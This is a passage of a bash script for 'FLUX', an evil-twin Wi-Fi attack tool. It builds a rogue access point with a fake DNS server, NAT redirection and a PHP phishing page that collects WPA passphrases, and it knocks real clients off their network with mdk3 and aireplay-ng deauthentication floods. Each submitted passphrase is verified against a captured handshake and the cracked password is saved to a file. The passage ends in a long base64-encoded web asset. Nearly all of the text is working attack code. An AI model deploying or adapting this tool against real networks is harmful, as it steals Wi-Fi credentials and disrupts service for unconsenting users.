+channel=$Host_CHAN +">$DUMP_PATH/hostapd.conf + +# Creates PHP +echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; +break; +} + +if ( (strlen(\$key1) > 63) ) { +echo \"\"; +break; +} + + +\$file = fopen(\$filename, \"w\"); +fwrite(\$file,\"\$f_data\"); +fwrite(\$file,\"\n\"); +fclose(\$file); + + +\$archivo = fopen(\$intento, \"w\"); +fwrite(\$archivo,\"\n\"); +fclose(\$archivo); + +while(1) +{ + +if (file_get_contents(\"\$intento\") == 2) { + header(\"location:final.html\"); + break; + } +if (file_get_contents(\"\$intento\") == 1) { + header(\"location:error.html\"); + unlink(\$intento); + break; + } + +sleep(1); +} + +?>" > $DUMP_PATH/data/check.php + +# Config DHCP +echo "authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $RANG_IP.0 netmask 255.255.255.0 { + +option broadcast-address $RANG_IP.255; +option routers $IP; +option subnet-mask 255.255.255.0; +option domain-name-servers $IP; + +range $RANG_IP.100 $RANG_IP.250; + +} +" >$DUMP_PATH/dhcpd.conf + +#create an empty leases file +touch $DUMP_PATH/dhcpd.leases + +# creates Lighttpd web-server +echo "server.document-root = \"$DUMP_PATH/data/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +fastcgi.server = ( \".php\" => (( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/php.socket\" + ))) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.assign = ( +\".html\" => \"text/html\", +\".htm\" => \"text/html\", +\".txt\" => \"text/plain\", +\".jpg\" => \"image/jpeg\", +\".png\" => \"image/png\", +\".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) +index-file.names = ( \"index.htm\" ) + +#Redirect www.domain.com to domain.com +\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { +url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) +} + +" >$DUMP_PATH/lighttpd.conf + +# that redirects all DNS requests to the gateway +echo "import socket + +class DNSQuery: + def __init__(self, data): + self.data=data + self.dominio='' + + tipo = (ord(data[2]) >> 3) & 15 + if tipo == 0: + ini=12 + lon=ord(data[ini]) + while lon != 0: + self.dominio+=data[ini+1:ini+lon+1]+'.' + ini+=lon+1 + lon=ord(data[ini]) + + def respuesta(self, ip): + packet='' + if self.dominio: + packet+=self.data[:2] + \"\x81\x80\" + packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet+=self.data[12:] + packet+='\xc0\x0c' + packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) + return packet + +if __name__ == '__main__': + ip='$IP' + print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip + + udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + udps.bind(('',53)) + + try: + while 1: + data, addr = udps.recvfrom(1024) + p=DNSQuery(data) + udps.sendto(p.respuesta(ip), addr) + print 'Request: %s -> %s' % (p.dominio, ip) + except KeyboardInterrupt: + print 'Finalizando' + udps.close() +" >$DUMP_PATH/fakedns +chmod +x $DUMP_PATH/fakedns + +} + +# Set up DHCP / WEB server +function routear { + + ifconfig $interfaceroutear up + ifconfig $interfaceroutear $IP netmask 255.255.255.0 + + route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP + echo "1" > /proc/sys/net/ipv4/ip_forward + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +# Attack +function attack { + + if [ "$fakeapmode" = "hostapd" ]; then + interfaceroutear=$WIFI + elif [ "$fakeapmode" = "airbase-ng" ]; then + interfaceroutear=at0 + fi + + handshakecheck + nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) + + if [ "$fakeapmode" = "hostapd" ]; then + + ifconfig $WIFI down + sleep 0.4 + macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device + sleep 0.4 + ifconfig $WIFI up + sleep 0.4 + fi + + + if [ $fakeapmode = "hostapd" ]; then + killall hostapd &> $flux_output_device + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & + elif [ $fakeapmode = "airbase-ng" ]; then + killall airbase-ng &> $flux_output_device + xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & + fi + sleep 5 + + routear & + sleep 3 + + + killall dhcpd &> $flux_output_device + xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & + killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & + + killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device + lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device + + killall aireplay-ng &> $flux_output_device + killall mdk3 &> $flux_output_device + echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + + xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & + conditional_clear + + while true; do + mostrarheader + + echo "Attack in progress .." + echo " " + echo " 1) Choose another network" + echo " 2) Exit" + echo " " + echo -n ' #> ' + read yn + case $yn in + 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; + 2 ) matartodo; exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# Checks the validity of the password +function handshakecheck { + + echo "#!/bin/bash + + echo > $DUMP_PATH/data.txt + echo -n \"0\"> $DUMP_PATH/hit.txt + echo "" >$DUMP_PATH/loggg + + tput civis + clear + + minutos=0 + horas=0 + i=0 + timestamp=\$(date +%s) + + while true; do + + segundos=\$i + dias=\`expr \$segundos / 86400\` + segundos=\`expr \$segundos % 86400\` + horas=\`expr \$segundos / 3600\` + segundos=\`expr \$segundos % 3600\` + minutos=\`expr \$segundos / 60\` + segundos=\`expr \$segundos % 60\` + + if [ \"\$segundos\" -le 9 ]; then + is=\"0\" + else + is= + fi + + if [ \"\$minutos\" -le 9 ]; then + im=\"0\" + else + im= + fi + + if [ \"\$horas\" -le 9 ]; then + ih=\"0\" + else + ih= + fi">>$DUMP_PATH/handcheck + + if [ $authmode = "handshake" ]; then + echo "if [ -f $DUMP_PATH/intento ]; then + + if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo " + wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & + wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & + + if [ -f $DUMP_PATH/intento ]; then + + if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then + echo \"2\">$DUMP_PATH/intento + break + else + echo \"1\">$DUMP_PATH/intento + fi + + fi + ">>$DUMP_PATH/handcheck + fi + + echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) + + echo + echo -e \" ACCESS POINT:\" + echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" + echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" + echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" + echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" + echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" + echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" + echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" + echo + echo -e \" CLIENTS ONLINE:\" + + x=0 + for cliente in \"\${CLIENTESDHCP[@]}\"; do + x=\$((\$x+1)) + CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) + CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then + CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" + fi + + CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + + if echo \$CLIENTE_MAC| grep -q x; then + CLIENTE_FABRICANTE=\"unknown\" + fi + + CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) + + echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" + done + + echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "let i=\$(date +%s)-\$timestamp + sleep 1">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "sleep 5 + + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + let i=\$i+5">>$DUMP_PATH/handcheck + fi + + echo "done + clear + echo \"1\" > $DUMP_PATH/status.txt + + sleep 7 + + killall mdk3 &>$flux_output_device + killall aireplay-ng &>$flux_output_device + killall airbase-ng &>$flux_output_device + kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall wpa_supplicant &>$flux_output_device + killall wpa_passphrase &>$flux_output_device + + echo \" + FLUX $version by deltax + + SSID: $Host_SSID + BSSID: $Host_MAC ($Host_MAC_MODEL) + Channel: $Host_CHAN + Security: $Host_ENC + Time: \$ih\$horas:\$im\$minutos:\$is\$segundos + Password: \$(cat $DUMP_PATH/data.txt) + \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck + + + if [ $authmode = "handshake" ]; then + echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" + ">>$DUMP_PATH/handcheck + + elif [ $authmode = "wpa_supplicant" ]; then + echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck + fi + + echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck + chmod +x $DUMP_PATH/handcheck +} + + +############################################# < ATTACK > ############################################ + + + + + + +############################################## < STUFF > ############################################ + +# Deauth all +function deauthall { + + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & +} + +function deauthmdk3 { + + echo "$Host_MAC" >$DUMP_PATH/mdk3.txt + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & + mdk3PID=$! + sleep 15 + kill $mdk3PID &>$flux_output_device +} + +# Deauth to a specific target +function deauthesp { + + sleep 2 + xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & +} + +# Close all processes +function matartodo { + + killall aireplay-ng &>$flux_output_device + kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device + killall hostapd &>$flux_output_device + killall lighttpd &>$flux_output_device + killall dhcpd &>$flux_output_device + killall xterm &>$flux_output_device + +} + + + +############################################## < STUFF > ############################################ + + + + + + +######################################### < INTERFACE WEB > ######################################## + +# Create the contents for the web interface +function NEUTRA { + + if [ ! -d $DUMP_PATH/data ]; then + mkdir $DUMP_PATH/data + fi + +echo "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 